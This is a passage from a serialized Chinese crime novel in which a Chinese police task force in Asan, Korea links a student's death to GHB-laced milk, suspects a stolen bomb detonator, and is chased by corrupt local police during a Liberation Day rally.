不等秦梓需解释,章弥真也反应过来了: “你的意思是,因为都是蚌埠人,而且还是街坊邻居,陈老师可能早年间就认识王丽琴。她是因为发现了王丽琴家里一些见不得人的事,才会导致被灭口的?” “对,就是这个意思。”秦梓需点头,“一直以来我都觉得邵彦华的犯罪动机不足,所谓的邵彦华变态,对老师产生毁灭性的情感投射,都不足以解释他犯下这么大一桩罪孽的原始动因。 “但现在可以这样推测,陈老师和王丽琴是相熟的,甚至认识梅凝隽、邵长生,知道梅凝隽和邵长生已经有结婚的意向。梅、邵的婚姻就是王丽琴促成的。但王丽琴估计并不知道梅凝隽和邵长生的儿子居然有了私情。 “某一次,陈老师非常偶然地撞破了梅凝隽、邵彦华偷情,且邵彦华、梅凝隽也知道事情败露给了她。对于梅凝隽来说,和邵长生结婚应该是攸关重大利益的事,梅凝隽知道事情不好,邵彦华也极其害怕陈老师将事情告诉给父亲知晓,所以两人一不做二不休,下了杀手。 “什么暗恋老师,紧盯着老师不放,都不是的……一整个初二学年,他一直在反复地谋划杀害陈老师又能脱罪的方法,反反复复大半年。” 众人顿感一阵恶寒。好一会儿,章弥真才幽幽地道: “所以陈老师才会反复去读那首艾米丽狄金森的诗:请告知所有真相,但请曲折地说出,天啊……”她感觉胸口滞闷至极。 刘明城转换了一下话题,缓和气氛:“狗场的事我会继续查,我这里目前进展就是这样,你们那里还有什么要补充的?” 谢云卿道:“今天一下午,我和小金、邹天都在查牙山这里的留档监控。筛了4个小时,收获不能说没有吧,但也实在是不怎么能起作用。” “怎么说?”刘明城问。 “我们好不容易找到了野炊营地附近道路的监控,那天还真巧,有两辆车在野炊营地附近发生了碰撞,事故发生地的道路监控被留档了。但李芝华没有出现在监控里。看了半天,啥也没发现。”谢云卿道。 “行吧,戒骄戒躁,继续努力。”刘明城鼓励道。 秦梓需插话道:“一会儿我也来看一下,那火锅店查到了吗?” “没有,牙山第一家中式火锅店是2016年开的。”谢云卿道。 “好,那就没什么疑问了。”秦梓需道。 此时已经将近夜里11点了,国内也晚上10点了,刘明城正要断开连线,会议室的门突然敲响: “是我,有新发现!”是郑有为的声音。 邹天立刻过去开门,郑老举着几张报告进来,虽然年事已高,却步履如风、红光满面,丝毫不见疲态。他道: “第一,圣经木盒上、包括封皮、纸面上都检测出了李芝华和许晓芸的指纹。” “第二,李芝华保留的生物检材之中,仍然未能检出任何毒素。但,其指甲中也没有任何皮肤组织或者脏污残留,指甲非常干净。 “第三,安剖瓶里的液体是γ-羟基丁酸,英文缩写GHB,俗称‘神仙水’。是近些年流行于夜店、酒吧等场所的迷幻/药,无色无味液体,迅速致人昏迷、失忆,代谢极快,约5小时完全分解。常规毒理检测窗口期只有3-6小时。” 他将三份报告依次摆放在桌面上。 秦梓需神色凝重:“去年是不是有个韩国男团成员开的夜店爆出就是用这个药物迷/奸女性的?” “对,这个药在韩国地下世界非常流行。”郑老道。 章弥真脸色不好看:“他们居然想用这个迷晕我,我就不明白了,我找谁惹谁了,怎么谁都能欺负到我头上来?!” 谢云卿安抚她:“你人脉广,所以牵扯就多了。不是针对你,只是因为你在我们之中比较显眼。” 章弥真完全没被安慰到,越发暴躁:“啊?不是,迷晕我,然后呢?目的是什么?逼问我咱们查出什么来了?这帮子人打算怎么善后?” 秦梓需道:“你觉得似李浩贤这类人,被逼急了会做什么事?无非是一不做二不休,直接制造一个车祸,让我们全都升天,让中方无话可说,他仍然高枕无忧。 “把你绑起来,他的后手会有很多,因为他设定好的迷晕你的人就是你的前男友,他完全可以说你俩旧情复燃,去酒店开房,然后脱离调查组。接着他还能以你的名义发诱导信息,让我们所有人都往他的陷阱里跳。等我们都报销了,他只需要简单善后就完事了。” “太恶毒了,太可恶了!”章弥真怒骂。 谢云卿道:“我联系一下使馆,明天就给我们换车,换驾驶员。” 秦梓需道:“先不急,换了就打草惊蛇了。可以让使馆找一辆一模一样的车,把车牌换一下就行。在此之前,我们暂时不用他们的车。开车的朴尚恩暂且可以信赖,但她因为自家的利益,其实对李浩贤有一些政治上的期许,所以还是有不可靠的可能性存在。所以,只要车子不掌握在她手里,我不担心她能对我们如何。” 此时的朴尚恩已经下班回家去了,并未参与他们的内部讨论。 邹天将话题拉回那三份检测报告,他指着第二份报告问道: “指甲很干净,这意味着什么?” 郑老一脸你问着了的表情,道:“假设你中毒了,呼吸困难喘不上气,头晕眼花站不稳,你会有什么反应?” “呃……我会找地方靠着,拽衣领,抠脖子……”邹天比划着道。 “对,抠脖子,你都抠脖子了,你指甲里居然没有皮屑?无论如何都会有的。”郑老道。 邹天疑惑道:“这会不会是指甲剪下来保存时弄掉了?” “不会,法医没有一个是会清洗检材的,指甲剪下来后就是原来的状态,就算会有部分皮屑剥落,指甲内侧应该能仍然有残留,但她的指甲里什么也没有,太干净了,甚至没有猫粮的残留。” “那会不会是韩国警方故意清洗了指甲,就是为了灭失痕迹呢?”章弥真道。 郑老露出玩味的笑容:“对比她验尸时脖颈的照片,可以确定她没有抓挠过脖子。我问了验尸官,他说他们病理科和警察不是一个系统的,经费也来自专项拨款,和警方以及本地并无任何利益纠葛,是不会和地方黑警同流合污的。所以别的证物不敢说没有灭失损毁,但验尸这件事可以保证没有任何问题。” “所以,这意味着李芝华中毒后,并未挣扎,是被控制住了,还是她自身已经陷入昏迷了?”章弥真道。 郑老接道:“问得好,这就和GHB深度相关了。李芝华案发后穿着的衣物还保留着,我在到这里来前,从警署将证物都领出来了。她的衣服肚子这一块的布料上有液体滴洒后干涸的痕迹,我用纳米级的液相色谱-质谱联用仪检测了这个区域。” 说到这里,郑老找了把椅子坐下来,长舒了一口气。 章弥真急了:“您查出来了吗?” 郑有为有意吊胃口,慢悠悠地解释道:“GHB降解速度非常快,若衣物被密封在避光、干燥、低温,如-20℃的冷冻环境中,GHB的降解速度会显著减缓。根据化学试剂保存的相关研究,部分有机化合物在理想条件下可保存5年以上。但可惜,这件衣物的保存条件没达到,现在是肯定检测不出来的。 “不过,当时的化验人员也对这部分痕迹做了检测,而且是在24小时内做的检测。当时的检测报告还在。这是一款牛奶的残留痕迹,是韩国本地产的一款舒睡牛奶。睡前喝,能促睡眠。检测报告里标注了衣物残留痕迹内有γ-氨基丁酸,恰好是这款牛奶内含有的物质。 “这牛奶在死者的胃内容物里也有检出,且有一盒开了封,喝了几口的牛奶就摆在火锅旁边。 “γ-氨基丁酸(GABA)是神经系统的核心‘抑制开关’,通过调控离子通道平衡神经兴奋性,兼具内稳态维持与外周生理调节功能,已经广泛应用到保健品和食品行业。 “但这个玩意儿的分子链和GHB极为相像,两者均为4碳直链化合物,且GHB是GABA的天然代谢产物。GABA比GHB多一个氨基—NH,少一个羟基—OH,但质谱分析中可能因碎片离子相似性导致误判。” 秦梓需猛然站起来:“所以,是检测有误?!” “对,化验人员被牛奶GABA的成分误导了,当时就已经检测出是GHB了!如果不是你们今天突然给我一瓶GHB,启发到我,我真是想破脑袋也想不明白到底是怎么回事啊!”郑有为拍着桌子激动道。 “靠!”邹天大骂了一声,抒发自己的激动之情。 小金也兴奋得浑身都在颤栗:“我记得李芝华放在书架上的物品里,有四盒这种奶。舍友供词说她睡眠不好,全靠睡前喝这个奶才能入睡。但是,显然韩国警方完全没当回事,彻底忽略了!” “全对上了!”章弥真高兴地跳起来。 谢云卿忙控场:“不急不急,咱梳理一下。所以,李芝华是因为喝了加了GHB的牛奶,被迷晕了吗?” 秦梓需纠正道:“顺序是这样的,她先吃了火锅,火锅里没有任何毒素。然后吃了河豚毒素猫粮,吃猫粮的时间点可能是在回宿舍前,也可能是在回宿舍后,但不论如何,梅凝隽、邵紫涵这两人不论是谁,都进入了她的宿舍。河豚毒素潜伏最短10分钟,在毒发前的这段时间,她很有可能喝了加了GHB的牛奶,然后被迅速迷晕了。 “就在迷晕的过程中,河豚毒素毒发,她在被床单裹住、同时GHB神经抑制的双重作用下,在没有任何挣扎的状态中死去。 “所以,梅凝隽、邵紫涵省去了毒发期间控制她挣扎呼救的功夫,她们搜找了宿舍,没找到证物,不得不离开。随后,给李芝华牛奶下GHB的人来到了宿舍里,发现李芝华已死,以为是自己毒死了她,惊骇之下,匆匆忙忙将现场布置成了咱们后来看到的样子。 “这个人还很细心地开了一罐新的牛奶,吸了几口后替换了沾有李芝华唾液的吸管,就放在火锅边上,来蒙骗警方。” 谢云卿打了个响指:“许晓芸果然有重大嫌疑!除了她还能是谁?!” “证物很可能是被她拿走了!”秦梓需非常笃定地说道。 “啊?你怎么得出这个结论的?”谢云卿问。 秦梓需道:“文件盒在被寄出前,接触的只有两个人,一个是李芝华,还有一个就是许晓芸。所以处理掉证物的不是李芝华就是许晓芸。仔细想想,在当时的那个环境中,李芝华根本没必要把证物从文件盒里取出来单独处理啊。 “这就是好马不吃回头草的道理,这句话其实不大准确,准确来说,应该是奥卡姆剃刀理论:如无必要,勿增实体。她不必做任何多此一举的行为。 “而许晓芸是个大活人,连何文月这个智力残障被侵犯了都知道要报复反抗,何况是她。她也会生气,被侮辱了也想要发泄怒火。所以,很可能是她在李芝华寄快递的过程中偷偷拿走了证物。” “为什么?那证物是……”邹天本还不大理解,但仔细一琢磨,顿时倒吸一口凉气。 “那是个炸弹引爆器的残片,难道说……许晓芸要搞炸弹炸死李浩贤?!”章弥真几乎叫出声来。 第93章 第九十三章 对于那个炸弹引爆器的猜测,让所有人都感到不安。如果这东西一直在许晓芸的手里,而许晓芸下落不明,这就意味着一个巨大的隐患始终未曾被排除。 许晓芸是学机械工程的,她有一定的理论基础和动手能力,是存在复原那个炸弹引爆器的能力的。如果那个炸弹引爆器的残片仍然保留有核心运转结构,能让许晓芸看明白,她就有可能对此进行复原。 这样一来,不仅原本的证物会被破坏,造成最关键的证据灭失,甚至还会引发更大的事故。 “应该……不会吧,这都这么多年过去了,李浩贤不是还活得好好的?许晓芸应该是没打算杀他的吧。”邹天说这话明显底气不足。 谢云卿批评他:“在没找到许晓芸之前,谁都没有本钱说这种话。” 连线那头的刘明城道:“事情的严重程度我已经充分知晓了,我会调集一切可能的资源去寻找许晓芸,这件事交给我。不过,现在仍然不能肯定许晓芸就在国内,当年她回国可能只是为了暂时避风头。假如她也有偷渡出国的本领,你们在韩国就要做好准备,她也许一直潜伏在韩国,这么多年没下手,可能是在寻找合适的时机。咱们中国人讲‘君子报仇,十年未晚’,过去8年不能说明她就放弃了复仇。” 连线终于挂断了,气氛凝重。谢云卿道: “时间不早了,大家今天早点回去休息吧。” “谢支,接下来咱们该怎么查?好像什么事都做不了了。”邹天问。 “对,查到目前,我们能在韩国找到的线索都找到了,现在就只剩下一件事,那就是看住李浩贤,至少在我们找到许晓芸之前,我们还得待在这里。”谢云卿道。 众人收拾东西,一起离开了牙山医院。朴尚恩离开前,将商务车的钥匙交给了秦梓需,因此由秦梓需驾车,带众人返回酒店。 “我对这车子还真有点发怵,该不会真被动了手脚吧。”章弥真站在车边,不敢坐进去。 “嘘……”小金比了个噤声的手势,随机用反监听设备对车子的内外都仔仔细细扫描检查了一遍。 “安全。”小金道。 在此过程中,秦梓需也检查了一下车底、轮胎和前车盖内部,并未发现任何异常。她阖上前车盖道: “这车没问题,估计他们要对咱们下手,不会在车上做手脚,而是别的什么方法。而且究竟动不动手,要看咱们查出什么来了。如果咱们什么也没查出来,那李浩贤也没有必要制造车祸把我们弄死,因为后续肯定会迎来更大的麻烦。” “小秦说得很有道理,大家安心上车吧。”郑老第一个坐进车里去。 秦梓需开车,一路把大家稳稳带回了酒店。此时已经接近深夜12点了,众人约定好第二日早上9点在酒店餐厅集合,便各自返回房间洗漱休息。 秦梓需照例让章弥真先洗,等她自己洗好澡躺上床,已经是8月13日凌晨1点多了。 刚阖上眼,就听黑暗里章弥真问道: “老秦,你有没有什么办法搞死那个李浩贤?” “你问一个警察该怎么搞死一个人,你真会问。”秦梓需懒洋洋吐槽道。 “我越想越气,实在受不了。不论如何,都要送他去坐牢,不能让他好过。”章弥真恨得牙痒痒。 “你让我想想,我想想……” 秦梓需的声音逐渐低沉下去,章弥真扭头,透过黑暗看向对床,秦梓需悠长的呼吸声已经逐渐起来了。 睡这么快……可是真累了啊,想想也是,今天这一天过得太漫长也太疲劳了。念头一起,章弥真自己也有些支撑不住了,终于阖上眼,沉沉睡去。 …… 一连两天,专案组都在假装查案。他们一面糊弄牙山警署,让韩国警方以为他们什么也没查出来。一面在通过各种渠道搜集关于李浩贤的资料。 使馆通过一些隐秘渠道搞到了一些给他们,但最大的收获还是来自朴尚恩。这个姑娘的人脉渠道发挥了极大的作用。 众人从她那里拿到了李浩贤的住址,他几辆车的车牌号和品牌,乃至于他近期的日程表。此外,还知道了他爱吃烤肉、爱喝酒、好色乃至于服用一些违禁药等诸多癖好。由于他现在身份特殊,早年间经常光顾的夜店、酒吧他已经不会去了,现在只会出入一家私人会所来娱乐。 他身边有个私人安保团,出入基本是两辆车,要么是他自己的那辆风骚的玛莎拉蒂,要么是他相对低调的商务座驾,后面总会跟一辆保镖车,身边总是会有五六个人跟着。他出行的车都有人看顾着,人不会离开车。车子回家后就停入防护严密的私人车库,外人也很难进去。 他极少在外吃东西,基本都是私厨为他准备食物。这人的自我保护做得倒是挺周全,如果有人想找他麻烦,确实很难找到机会下手。 8月14日早上,一行人在酒店内部开秘密会议。 := 谢云卿道:“明天,李浩贤要出席光复节集会,发表演讲,还会参加圣母升天节的植树和狂欢游行活动。他自身有安保,我们要操心的也不是他的安全,我们要做的就是盯紧了周遭,寻找许晓芸是否会出现。 “小章,你这两天从何天佑那里套出点什么来了吗?” 章弥真叹了口气,道:“我其实已经暗示得很明显了,就差直接明着问他了,但他故意回避了。我猜他手机可能有监听设备,而且每天都要接受检查,所以他不敢明着跟我说什么。 “不过,我感觉李浩贤可能还没放弃对付我们。何天佑说他明天也要跟着去参加狂欢,还邀请我一起,反复邀请了好几次,我感觉这是李浩贤授意的。” “你答应他了吗?”谢云卿问。 “暂时还没答应,但也没明确拒绝。”章弥真道。 谢云卿看向秦梓需,先听她的意见:“秦老师,你看这个事怎么办?” 秦梓需思索了片刻,分析道:“无非去与不去两种选择,不去是最保险的,但我们也不会有什么收获,且被控制的何天佑也会一直陷在泥沼里出不来。我们至少要搞明白何天佑到底有什么把柄在李浩贤手里,才好把他解救出来。 “所以如果咱们要救何天佑,就得去,怎么着都得创造和他接触的机会,才能拿到更多的情报。但这样一来,章弥真的安全就必须要有一个完善的安排才行。我们就这么几个人,使馆派来了一个小分队的便装武警,保护我们几个还行,若是分开后在密集的人群里去保护章弥真,还是不够的。韩警又信不过,所以安保压力很大。 “我的想法是,保守点,可以答应何天佑,但不要去人群太过密集的地方。地点我们自己来定。如果对方不答应,那就算了。何天佑短时间应该不会有性命之危,我们后续再通过其他渠道来处理他的事。” 章弥真摇头:“老秦,你这太保守了,而且我不觉得何天佑短时间内不会有性命之危。他现在的状态已经很不对劲了,我怕他被逼急了,真会出事。” 众人陷入沉吟,谢云卿提议举手投票来看大家的意见。一共6票,选择不去的有4票,选择去的2票,一个是章弥真,一个是谢云卿。 “谢支?你这是同意去吗?”章弥真吃了一惊。 谢云卿叹了口气道:“他毕竟是中国公民,而我们是中国公安,有义务保护他的生命财产安全。我们不知道什么情况也就罢了,既然知道了,就得想办法把他解救出来。不论如何,也得努力一下。” 秦梓需理解谢云卿,她是本次的领队,本次出国侦查任务所有产生的后果都由她来承担领导责任,如果此时对何天佑见死不救,后续被追责就会很难过了。 “难道就不能让何天佑去大使馆避一避,或者直接回国吗?我就不信一个韩国政客能把中国人如何了,这何天佑是个死心眼吗?”邹天吐槽道。 章弥真刚要说话,金楚欣突然幽幽道: “怕不是他自己也不干净了吧,我感觉李浩贤多多少少逼他犯罪了。他已经被逼上梁山,是不可能主动脱离求助的。” “你的依据是?”谢云卿问。 “是这样的,我昨天一整天都在重新看案发当时野炊营地附近的监控。我感觉我好像看到了一辆可疑的车,但不确定。大家来帮我看一下。”小金道。 “是吗?”秦梓需瞪大了眼睛,她也反复看了好几遍监控录像,至今尚未有发现。 金楚欣把笔记本电脑打开,调出录像,迅速拖动到有疑点的部分,指着屏幕道: “你们看这个位置,这里的道路旁有个转弯凸镜。我从这个镜子里好像看到了弯道那一头停着一辆车,停了很久,起码有两个半小时。” 转弯镜上非常模糊,因为前一天刚下过雨,海边的湿度挺大,镜面上有不少水珠,显得雾气蒙蒙的。众人很努力地分辨,只是勉强能看到镜子里停着一辆车,黑色的普通三箱轿车,很不起眼。 众人不禁佩服起小金的眼力,不愧是监控专家,在一众看惯了监控的警察中能力也很突出。 “我用AI图像处理器处理了一下这个镜面里的车牌,分析得出的结果就是这个牌照,这个车牌我印象里应该就是何天佑那辆车的牌照吧。 秦梓需、章弥真都有拍下过何天佑那辆蓝色保时捷卡宴的车牌,照片调出来一对比,果然没错。 “他换车了但没换牌照?”谢云卿瞪大了眼睛。 “据我所知,韩国这里和国内一样,换车时直接沿用旧的车牌更便捷。所以一般人只要不是特别不喜欢旧的车牌号,大多不会换。作为外国人的何天佑更是如此,他要换车牌更为困难。”小金道,“所以,我基本可以肯定这辆车就是何天佑的车。至于车里是不是坐着何天佑,虽然不能完全肯定,但也有极大的可能性。 “你们想,当时就在不足200米远的野炊营地里,许晓芸正在给李芝华下毒。何天佑为什么会出现在这里?在联想到前一天晚上,许晓芸跟李芝华外出后,与李芝华分开回宿舍,她在外采购的食材和野炊的锅具,到底存放在哪儿了? “是不是何天佑也是帮凶之一啊,而罪魁祸首李浩贤压根就没亲自下场,只是操纵中国人自己互相撕咬毒杀。” 秦梓需神情凝肃:“小金,你立功了。还能不能查到案发前一天晚上何天佑所住公寓以及附近的监控,也许我们可以印证这个猜想。” “诶……我也想查,但当时没考虑那么多,拷回来的录像不包含何天佑的宿舍附近道路。”金楚欣耸了耸肩,很无奈。这里毕竟是韩国,不是探头遍地的国内,要查监控实在太费劲了。 谢云卿敲了敲桌面,道: “这样,我还是决定明天要去和何天佑接触,无论如何,这个人身上有关键信息。我们得冒这个险,但风险不能小章一个人来担,我们人手虽然不多,但把计划做得详实周密一点,也不惧这些地头蛇的欺压。我部署一下明天的行动计划,大家接下来去做一下准备,明天会是一场硬仗。” 众人皆神色凝重,围了上来。 第94章 第九十四章 8月15日,光复节全民放假,一整个韩国都陷入了欢乐的海洋。今日是周六,中国国内也恰好是休息日。 天刚蒙蒙亮,街面上就已经人头攒动,不知从哪儿冒出来那么多人顶着骄阳出街,他们或头戴绑有韩国国旗纹样的头巾,或在脸上贴上韩国国旗,举着小旗子,拉着各式各样漂亮的旗帜、绶带,在地方民间组织下,往牙山市中心的广场聚集。 男女老少之中,有相当一部分都换上了朝鲜传统服饰。还有人开着车载喇叭,一路播放韩国国歌。 牙山市集会在上午9点准时开始,在广场大屏幕前一起看完总统演讲后,牙山市长和本地的议员代表也会有讲话。等政治的部分结束,便是欢庆的开始。 人们会在广场上举行各式各样的娱庆活动,歌舞自不例外,还有一些韩国传统的曲艺杂耍表演。 街面上越是热闹,专案组一行的压力就越大。由于人手严重不足,连腿脚不好的郑老都主动要求上阵。 不过众人是不敢让他进人群之中挤来挤去的,郑老负责大后方的指挥调配。他们在前期的现场勘查之中,专门找到了一个可以从高处俯瞰广场全景的楼宇,并提前疏通了关系。 所以,郑老现在就在18层楼的高处,用望远镜观察下方的人群。他老人家虽然年纪大了,可身为法医的一双鹰眼依旧锐利,能够迅速分辨人群之中的动向。 剩下的专案组5人,与使馆派来的武警7人分编成5组。其中4组两两一组散布在广场东南西北四个方向。 剩下的1组4人,由章弥真、秦梓需、邹天和武警小刘组成,负责接触何天佑。章弥真自然是这一组的中心人物,其余三人会化妆潜行在不远的地方,对她进行保护。 秦梓需、邹天和武警小刘已经是当前专案组能够集中的最强战斗力了,他们三人身上的压力不轻。一大早,秦梓需连饭都不怎么能吃下,全程板着一张脸。 章弥真安慰她:“你放轻松点,区区一个何天佑,你不至于拿不下。连我都能对付他,他弱鸡得很。” “我是怕何天佑吗?我是怕出意外……”秦梓需叹息。 “安啦,不会出什么事的。”章弥真道。 她的话显然没有安慰到秦梓需,下车时,秦梓需的神经越发紧绷,连朴尚恩喊她,她都没听见。 行动队集合的位置在广场的西侧,这里有天桥步道作为遮蔽,相对隐蔽。朴尚恩今天照例当专案组的司机,把专案组送到此处。这些日子她帮着专案组蒙骗牙山警署,上演无间道数日,情感上已经有些融入专案组了。 今天牙山警署也放假了,只留下了部分值班警力。 “秦警官!要不我也帮忙?”朴尚恩喊了第二遍,秦梓需终于回头了: “不了,你回去过节吧,具体的任务部署你也不清楚。等一切结束了,我们会联系你的。”秦梓需道。 “好,那我等你们的好消息。”朴尚恩没有坚持,坐回了驾驶位,驾驶着车辆徐徐离开了人群密集的广场周边。 使馆的一辆11座面包车没有开走,就停在广场周遭待命。12名任务队员找了个隐蔽的角落,集合在一处,互相对表,检查隐藏对讲设备和周身的装备。 一切无误,谢云卿宣布任务开始,所有人立刻自行按照分组散入人群,向指定方位移动过去。 章弥真向着广场的东面行去。那里有一家藏蓝底白字招牌的烤肉店,是何天佑定下的与她汇合的地点。 这个位置在昨天的踩点中也做了重点勘察,从广场出来抵达店铺需要过马路。店铺在街边拐角处,这个位置比较微妙,因为方便停车,所以存在被快速掳走的可能性。不过考虑到集会当日,这个位置很可能也是堵得人山人海,车子肯定是开不动的,所以危险系数应该不高。 章弥真默默地在人群中拥挤前行,从广场西侧一路慢吞吞挤到东侧,一路行来她也在努力观察四周,寻找许晓芸的踪迹。 这两天她没事就把许晓芸的照片拿出来端详,已经几乎把那张脸刻入脑海里了。但如果许晓芸做了伪装,或者遮蔽容貌,她也无法保证自己能不能把许晓芸认出来。 所以,盯住李浩贤比寻找许晓芸要便捷许多。众人一早就确认了李浩贤的位置,在广场中央舞台边缘,用围栏圈出了一片空地,里面停了两辆豪华MPV,一白一黑。白的那辆是牙山市长的车,黑的那辆就是李浩贤的车,此时他人就在车内。 广场大屏幕上,现任韩国总统正在激情演讲。这广场的音响效果真好,声音震耳欲聋。章弥真好不容易穿过广场来到东侧出口,隐藏式对讲耳机里传来了现场指挥郑老的声音。 “我是老鹰,暂无发现,各小组汇报情况。” “东组无发现。” “西组无发现。” “南组也没有。” “北组没有发现。” “我是章弥真,已到东出口,无发现。”章弥真道。 “护卫组也没有发现。”秦梓需回道。 郑老:“老鹰收到,现在小章专注于你的任务。护卫组拉开距离,别贴太近了。东组注意接应,其余组继续留意人群,向中央舞台收拢。车子已经绕去了东面,如有意外立刻上车。” 一连串的“收到”后,对讲结束。章弥真深吸一口气,从广场东出口出来,往马路对过行去。 意料之中,此时广场外围的街道上也是挤得水泄不通,一些挤不进广场的人就在外围道路之上聚集,甚至有人在这里摆起摊贩,沿街叫卖。广场附近的道路已经被拦阻,车辆大多只能从外围绕行。 章弥真一眼就看到了站在蓝色店招下的何天佑。他今天不再西装革履,反而穿了一身T恤牛仔裤,头发也没怎么打理,胡子拉碴,看上去相当憔悴。 看到章弥真后,他招了一下手,章弥真缓步上前,来到他跟前。 “你约我做什么?”她开门见山问。此时她的隐藏式对讲耳机正将她与何天佑的对话同步到指挥频道,能够听到对话的是各组的组长。这其中包括郑老、谢云卿、秦梓需、小金和两位武警组长。谢云卿是东组的组长,是最靠近章弥真的接应小组。 “我们去僻静的地方聊。”何天佑道。 “就在这里聊。”章弥真很干脆地回道,这是众人此前商议好的策略,无论如何,湳枫不可远离人群。 何天佑的情绪确实很不对劲,此时的他呼吸急促,眼底布满血丝,牙关紧咬,像是在努力克制情绪爆发。 远在10米开外,棒球帽、黑口罩蒙面,正藏在人群之中的秦梓需双目穿过帽檐边缘,死死盯住何天佑,浑身紧绷,随时准备在他发难时冲上前把他拿下。 “你帮帮我,求你了,你跟我来一下……我真的不能在这里和你说。”何天佑终究没有发作,反而哀求起章弥真。 章弥真眉头紧锁,一时间没有说话。 “看在我给你那个东西的份上,求你了,我从没想害你……”何天佑膝盖打弯,眼瞅着就要给章弥真跪下。 “诶,你干啥,你站直了,别给我整这些。”章弥真指着他警告道。 “求你,求求你。”何天佑真的快哭了。 “行,我跟你过去。你别给我搞鬼我跟你说。”章弥真越发戒备,与此同时,耳机里传来了秦梓需的声音: “不可以离开五十米开外。” 章弥真没回话。她跟着何天佑沿着拐角向东侧道路行去。 秦梓需啧了一下嘴,招呼护卫组跟紧了。 从人群之中挤过去时,章弥真的身形在重重人流遮蔽中越发遥不可及。秦梓需心中发慌,咬紧牙关,加紧脚步追上去。她顾不得那么多了,章弥真在国内遭遇邵彦华这种凶徒都平安无事,更不可以在国外出事。 她要是出事了……秦梓需不知道自己该怎么面对往后的一切。所以哪怕现在提前暴露,不去拿到那个所谓的情报,也得确保章弥真万无一失。 “秦老师……你跟太近了!慢点,慢点!”邹天的声音在耳畔响起,急切焦虑。 秦梓需却像是充耳不闻。 章弥真的耳机里当然也能听见这些,她好想回头看一眼秦梓需,但她强行忍住了。她估摸着现在也走出去50米了,于是顿住脚步,对何天佑道: “就在这里说,我不会再走远了。” “不是……你不要搞我,跟我走啊……”何天佑见她突然变卦,急得直跺脚。 “你不说,我这就走了。你要搞清楚,我不会因为同情你而把我自己的性命搭进去,对不起。” 说完,等了一会儿。见何天佑急得团团转,就是不说,她立刻回身要往回走。 何天佑立刻上前来拉她,被她一把甩开。此时的秦梓需就在章弥真身前不足10米的位置,见状欲上前阻拦保护,却被章弥真一个眼神制止。此时的何天佑似乎还没注意到她。 “说!”章弥真突然回头怒吼了一声,这一声吼,引得周遭群众纷纷投来异样的目光。 何天佑在众多目光的注视之下,顿时脸庞涨得紫红。 “不想死就早点说,早说早解脱。”章弥真给了他最后一击。 何天佑终于像是豁出去了一般,压低声音道: “是他要求我把你带去东面那个街口,那里有他的人,他会把你绑走,引导你们都去追,然后把你们引导去他名下的一处工地,把你们都绑了,送去沉海。我要是不这么做,他就会把……就会把我当年犯的罪都曝光出来。” “谁,是李浩贤吗?”章弥真确认道。 “是他,就是李浩贤!” “你犯了什么罪?”章弥真怒视着他问。 “我……在他的胁迫下,协助许晓芸对李芝华下毒。并处理了……许晓芸从案发现场带出来的所有赃物……”何天佑说完,就像是被抽干了最后一丝力气,摇摇晃晃几乎要站不稳。他此时汗出如浆,把身上的T恤全都打湿了。 章弥真长叹一声,沉默了好一会儿道: “这就是你所谓的你从没想害我……何天佑,你怎么会混到这个地步的?我认识的那个你是不是从来不存在?” 何天佑垂着脑袋,说不出话来。 “瞧你这怂样,能干成什么事啊?你自己说的浪子回头金不换,你就是这么回头法的?瞻前顾后,左支右绌,丢人!我告诉你,我们俩的对话已经有很多人听到了。现在你没得选,你回去找李浩贤是死路一条。现在跟我回去,交代一切,服从法律审判,这是你最好的选择,只有这样你才能摆脱这场噩梦。”章弥真缓缓道。 何天佑恍恍惚惚的,已经失去了自主意识了,他跟着章弥真开始重新回到了人群之中。此时,秦梓需、邹天和武警小刘三人立刻围了上来,邹天和武警小刘一左一右把何天佑架住,秦梓需则护住了章弥真,带着她与何天佑拉开距离。 “各组注意,护卫组已经抓捕何天佑,正在返回。” 郑老的声音立刻传来:“老鹰收到,车子定位已发,把人先带去车上。” 此时,广场的舞台中央远远地传来了欢呼声,市长的讲话已经开始了。 第95章 第九十五章 震耳欲聋的喇叭声在广场中央不断轰鸣,市长近乎在咆哮着演讲,人群也显得相当激动,在市长讲话的间隙不断欢呼鼓掌。 专案组是不习惯这类街头政治的氛围的,他们皱着眉头,一面强忍着刺耳的音量,一面继续寻找人群中许晓芸的身影。 好在这位市长讲话并不长篇大论,讲了没五分钟,他就把新晋人气议员李浩贤请上了台。 此时与何天佑接触的章弥真小组好不容易挤到了广场东出口的边缘,却再也走不动了。因为从东面突然来了一批机动队员,将东侧的出口给封死了。 秦梓需和章弥真扯着嗓子和机动队员理论,希望他们把自己等人放出去,使馆的车停在起码400米开外的位置,根本不可能开进来。他们要把何天佑带出去,必须要从这个口子出去才行。 奈何没有翻湳枫译在身边,机动队员根本听不懂她们在说什么。再加上周遭无比喧闹,每个人的情绪都很烦躁,这些机动队员一个个脾气都很臭,行止粗暴地把专案组拦住,死活不肯放她们出去。 最后还是何天佑打起精神做了翻译工作,告诉她们,机动队员正在驱赶小摊小贩,不允许他们到这里来摆摊,更不允许更多人再进入广场了,否则会出现踩踏风险。 秦梓需无奈,只得把情况先暂时回报给郑有为、谢云卿,两位领导给出的指示有差异,谢云卿要求他们原地等待,等集会结束。郑老却提出,要他们先把何天佑带到他所在的楼层,看管起来。 “你们听我的,现在先把人带到我这里来,尽量避免在人群中被挤散了!”郑有为道。 “郑老师,您在广场西侧的楼里,她们要过去得穿过整个广场,这也有被挤散的风险!”谢云卿据理力争。 就在这时,一声高亢的叫嚷从中央舞台乍响,正在台上讲话的李浩贤不知道说了什么,引得台下所有人都跟着欢呼。 人群骚动起来,秦梓需等人被阻滞的位置四周,似乎正有人在不断推攘着向她们这里挤了过来。 秦梓需定睛一看,发现这都是一些彪形大汉,穿着便服,为首的人脖子挂着韩国警方的工作证。其中有人指着她们所在的方向嚷了一句什么,便凶神恶煞地扑了过来。 “快撤!”秦梓需心道不妙,立刻率先领路往广场中央艰难行去。章弥真还有后方架着何天佑的邹天、武警小刘,跌跌撞撞地跟上她。 “出什么事了?”章弥真努力推开眼前的人,撕扯着嗓子喊道。 “那些警察是来抓我们的!”秦梓需道。 “啊?!”章弥真心中一惊,下意识回头看,果然看到后方人群中有一群彪形大汉正在不断推搡人群,追逐他们。 而且他们手里还提着电击/棒、电击/枪等警用武器。 章弥真心中大骂这帮韩国黑警丧尽天良,中国公安居然会在韩国被韩国警方抓捕,这还有天理吗? 何天佑则脸色煞白,惊恐地喊:“是他们追过来了,快走!” 现在谢云卿的方案已经不可行了,她们只能尽快撤回郑老所在的建筑里,据险而守,在使馆援兵到来前与韩警对抗。 秦梓需在对讲之中快速说明了情况,郑老立刻下达命令: 